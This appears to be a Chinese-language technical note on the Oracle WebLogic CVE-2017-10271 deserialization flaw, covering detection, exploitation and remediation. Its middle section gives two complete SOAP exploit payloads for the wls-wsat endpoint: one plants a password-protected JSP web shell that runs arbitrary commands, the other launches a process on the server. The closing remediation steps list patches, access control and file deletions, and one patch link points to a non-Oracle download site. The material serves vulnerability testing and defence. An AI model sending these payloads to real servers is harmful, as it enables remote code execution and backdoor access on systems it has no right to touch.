1、检测工具
https://github.com/iBearcat/Oracle-WebLogic-CVE-2017-10271
2、http请求模拟工具
Fiddler
3、检测方法
ontent-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
这段代码是通过http://127.0.0.1:7001/wls-wsat/CoordinatorPortType11接口在服务里写入jsp脚本,这里是test.jsp,jsp的访问路径是http://127.0.0.1:7001/bea_wls_internal/test.jsp?password=secfree&command=whoami,结果如下
------------------------------------------------------------------------------------------------------
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
这段代码是通过http://127.0.0.1:7001/wls-wsat/CoordinatorPortType11接口在服务里的计算器,结果如下
---------------------------------------------------------------------------------------------------
4、解决办法
升级Oracle2017年10月份补丁和2018年4月的补丁。
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.htmlhttps://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
2.对访问wls-wsat的资源进行访问控制。
3.临时解决方案
在不影响业务前提下,根据实际环境路径,删除WebLogic程序下列war包及目录。
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启WebLogic服务或系统后,确认以下链接访问是否为404:
http://ip:port/wls-wsat/CoordinatorPortType11
5、2018年4月新漏洞
需要更新2018年4月的补丁时需要注意将bsu.cmd的虚拟机最大内存设置成3072
安装新的补丁,请使用绿盟云https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12测试